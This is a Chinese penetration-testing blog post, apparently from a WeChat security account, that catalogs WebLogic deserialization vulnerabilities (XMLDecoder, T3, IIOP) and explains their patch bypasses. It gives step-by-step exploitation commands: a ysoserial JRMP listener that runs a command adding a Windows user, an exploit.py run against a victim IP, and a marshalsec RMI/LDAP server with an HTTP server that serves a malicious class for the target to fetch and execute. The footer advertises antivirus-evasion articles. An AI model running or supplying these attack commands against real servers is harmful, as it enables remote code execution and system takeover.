weblogic重要漏洞全记录(上）

本文仅用于技术讨论与学习，利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

只供对已授权的目标使用测试，对未授权目标的测试作者不承担责任，均由使用本人自行承担。

上篇：

下篇：

T3协议存在多个反序列化漏洞
CVE-2015-4852/CVE-2016-0638/CVE-2016-3510/CVE-2017-3248/CVE-2018-2628/CVE-2018-2893/CVE-2018-2894/CVE-2018-3191/CVE-2018-3245/CVE-2019-2890/CVE-2020-2546/CVE-2020-2555/CVE-2020-2801/CVE-2020-2883/CVE-2020-2884/CVE-2020-2915/CVE-2020-14645/CVE-2020-14756/CVE-2020-14825/
IIOP存在多个反序列化漏洞
CVE-2020-2551/CVE-2020-14644/CVE-2020-14841
web存在多个反序列化漏洞
CVE-2017-3506/CVE-2017-10271/CVE-2018-3252/CVE-2019-2725/CVE-2019-2729
此外还存在较严重的web漏洞
CVE-2014-4210/CVE-2018-2894/CVE-2020-14882/CVE-2020-14883/CVE-2021-2109
批量化检测

https://github.com/rabbitmask/WeblogicScanhttps://github.com/0xn0ne/weblogicScanner

CVE-2017-3506/CVE-2017-10271/CVE-2019-2725/CVE-2019-2729为同一漏洞的修补。

尝试访问

/wls-wsat/CoordinatorPortType和/_async/AsyncResponseService

除此之外，还可能存在如下接口

/wls-wsat/CoordinatorPortType11

/wls-wsat/ParticipantPortType

/wls-wsat/ParticipantPortType11

/wls-wsat/RegistrationPortTypeRPC

/wls-wsat/RegistrationPortTypeRPC11

/wls-wsat/RegistrationRequesterPortType

/wls-wsat/RegistrationRequesterPortType11

这些接口均以XMLDecoder解析xml，存在java反序列化导致任意代码执行。

XMLDecoder和XMLEncoder为java.beans用来反序列化/序列化xml的一个类。

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。

JD-GUI

WebLogic 10.3.6

漏洞触发位置：wls-wsat.war

漏洞触发URL：/wls-wsat/CoordinatorPortType（POST）

漏洞的本质：构造SOAP（XML）格式的请求，在解析的过程中导致XMLDecoder反序列化漏洞

POC:

分析漏洞调用链

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequestweblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOldweblogic.wsee.workarea.WorkContextXmlInputAdapter

先看一下

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest

方法

第43行，将header1变量带入到了readHeaderOld()方法中。header1变量由第41行定义，其值为<work:WorkContext> </work:WorkContext> 标签包裹的数据。

跟进readHeaderOld()方法

weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld

byteArrayOutputStream，该类实现了将数据写入字节数组的输出流

在106行，有一句

new WorkContextXmlInputAdapter(new ByteArrayInputStream(localByteArrayOutputStream.toByteArray()))

这行代码的大致意思就是将POST传过来的xml数据作为参数实例化WorkContextXmlInputAdapter类。

跟进至WorkContextXmlInputAdapter类中，查看其构造函数

由图可见,构造函数直接利用XMLDecoder反序列化了传过来的xml数据,导致了漏洞。

访问 /wls-wsat/CoordinatorPortType 返回如下页面，则可能存在此漏洞。

漏洞不仅存在于 /wls-wsat/CoordinatorPortType 。只要是在wls-wsat包中的Uri皆受到影响，默认受到影响的Uri如下：

/wls-wsat/CoordinatorPortType/wls-wsat/RegistrationPortTypeRPC/wls-wsat/ParticipantPortType/wls-wsat/RegistrationRequesterPortType/wls-wsat/CoordinatorPortType11/wls-wsat/RegistrationPortTypeRPC11/wls-wsat/ParticipantPortType11/wls-wsat/RegistrationRequesterPortType11

利用burp抓包,修改请求为post,content-type为text/xml,构造如下xml数据, <string></string>标签之间分别写存放jsp的路径和要写入的代码,发送

XML的构造参考：

https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.html

CVE-2017-10271与CVE-2017-3506的漏洞原理是一样的,只不过10271绕过了3506的补丁,我们来看下补丁是怎么处理的：

补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法，在解析xml时，Element字段出现object标签就抛出运行时异常

这次补丁修补得非常的简陋，仅仅是根据POC中的object标签进行了修补，所以很快就出现了CVE-2017-10271漏洞。CVE-2017-10271的POC与CVE-2017-3506的POC很相似，只是将object标签换成了array或void等标签，即可触发远程代码执行漏洞。因此，在CVE-2017-10271漏洞爆发之后，Oracle官方也进行了补丁的完善，这一次的补丁考虑得比较全面，在黑名单中又添加了new,method,void,array等关键字进行漏洞修补，成功防御了CVE-2017-10271漏洞。

我们将object换成void就可绕过此补丁，产生了CVE-2017-10271。

或者直接只用java反序列化漏洞利用工具

CVE-2017-10271之后，官方继续追加黑名单，除了object之外，new，method标签被禁止，void只能有index属性，array的class属性只能是byte。但还有class标签可以使用，我们要找到一个类用byte传参，且实例化时可以造成命令执行效果。这就是CVE-2019-2725，同时，这个CVE也发现了_async漏洞。

本次反序列化漏洞绕过以往补丁的关键点在于利用了Class元素指定任意类名，因为CVE-2017-10271补丁限制了带method属性的void元素，所以不能调用指定的方法，而只能调用完成类实例化过程的构造方法。在寻找利用链的过程中发现UnitOfWorkChangeSet类（weblogic 12.1.3 利用org.slf4j.ext.EventData）构造方法中直接调用了JDK原生类中的readObject()方法，并且其构造方法的接收参数恰好是字节数组，这就满足了上一个补丁中array标签的class属性值必须为byte的要求，再借助带index属性的void元素，完成向字节数组中赋值恶意序列化对象的过程，最终利用JDK 7u21反序列化漏洞造成了远程代码执行。通过巧妙的利用了void、array和Class这三个元素成功的打造了利用链，再次完美的绕过了CVE-2017-10271补丁限制。

漏洞触发点：bea_wls9_async_response.war、wsat.war

影响版本：Oracle WebLogic Server 10.* 、Oracle WebLogic Server 12.1.3

复现环境：WebLogic 10.3.6

访问以下目录中的一种，如下图所示则漏洞：

/_async/AsyncResponseService/_async/AsyncResponseServiceJms/_async/AsyncResponseServiceHttps/_async/AsyncResponseServiceSoap12/_async/AsyncResponseServiceSoap12Jms/_async/AsyncResponseServiceSoap12Https

bp在当前页面抓包:

CVE-2019-2729漏洞是对CVE-2019-2725漏洞补丁进行绕过，形成新的漏洞利用方式，属于CVE-2019-2725漏洞的变形绕过。

因为<class> 标签是漏洞利用所必须的，因此Oracle在CVE-2019-2725补丁中将该标签加入了黑名单。

然而，对JDK 1.6来说，<class>可以被<array method=”forName”>这种反射形式所替代。因此，使用标签<array method=”forName”>替换<class>标签就可以绕过黑名单。

Weblogic 12.x版本使用的是org.slf4j.ext.EventData，以及回显版本参考：

https://github.com/lufeirider/CVE-2019-2725

WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)。Oracle WebLogic Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作，利用RMI（远程方法调用） 机制的缺陷，通过 JRMP 协议（Java远程方法协议）达到执行任意反序列化代码，进而造成远程代码执行

同为WebLogic T3引起的反序列化漏洞还有CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2893、CVE-2016-0638

使用 https://www.exploit-db.com/exploits/44553  中的脚本进行复现,具体使用方法见脚本。

Kail Attack ：192.168.0.162

server08 victim : 192.168.0.163

Kail 执行

1）下载ysoserial.jar 

wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

2）使用ysoserial.jar，启动JRMP Server 

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

 其中，[command]是想执行的命令，而[listen port]是JRMP Server监听的端口。这里我执行:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'net user xiaohao xiaohao /add'

 3）执行exploit.py 

python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

其中，[victim ip]和[victim port]是目标weblogic的IP和端口，[path to ysoserial]是本地（Kail系统上的）ysoserial的路径，[JRMPListener ip]和[JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类，可选的值是JRMPClient或JRMPClient2

这里我执行

python2 exploit.py 192.168.0.163 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.0.162 1099 JRMPClient2

结果如下：

从Oracle 官方的公告中看出该漏洞存在于Weblogic核心组件，影响的协议为IIOP协议。该漏洞依然是由于调用远程对象的实现存在缺陷，导致序列化对象可以任意构造，在使用之前未经安全检查，导致恶意代码被执行。

经过分析这次漏洞主要原因是错误的过滤JtaTransactionManager类,JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤的,resolveClass方法是会读取父类的,所以T3协议这样过滤是没问题的。但是IIOP协议这块,虽然也是使用的这个黑名单列表,但不是使用resolveClass方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,而JtaTransactionManager类是存在jndi注入的。

影响版本：weblogic 10.3.6  weblogic 12.1.3.0  weblogic 12.2.1.3.0  weblogic 12.2.1.4.0

利用的exp为:https://github.com/Y4er/CVE-2020-2551

然后使用marshalsec起一个恶意的RMI服务

编辑一下exp.java

修改为(这是windows的命令执行)

如果需要linux的命令执行修改为:

然后编译

javac exp.java -source 1.6 -target 1.6

编译完可以直接用Python3在当前exp目录起一个web服务

python3 -m http.server 80

然后开始攻击

java -jar weblogic_CVE_2020_2551.jar 192.168.43.246 7001 rmi://192.168.43.50:1099/exp

或者也可以起lpad服务：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.43.50/#expjava -jar weblogic_CVE_2020_2551.jar 192.168.43.246 7001 ldap://192.168.43.50:1389/exp

篇幅问题，下篇展开。。。。。。。

关注公众号回复“加群”，添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

团队建立了知识星球，不定时更新最新漏洞复现，手把手教你，同时不定时更新POC、内外网渗透测试骚操作。感兴趣的可以加一下。

Powershell免杀系列（二）

java代码审计之CC1链（一）

该更新一下你的密码字典了

Powershell 免杀过 defender 火绒，附自动化工具Z2OBot 

域渗透 | kerberos认证及过程中产生的攻击

点一下爱心再走吧！

原文始发于微信公众号（Z2O安全攻防）：weblogic重要漏洞全记录(上）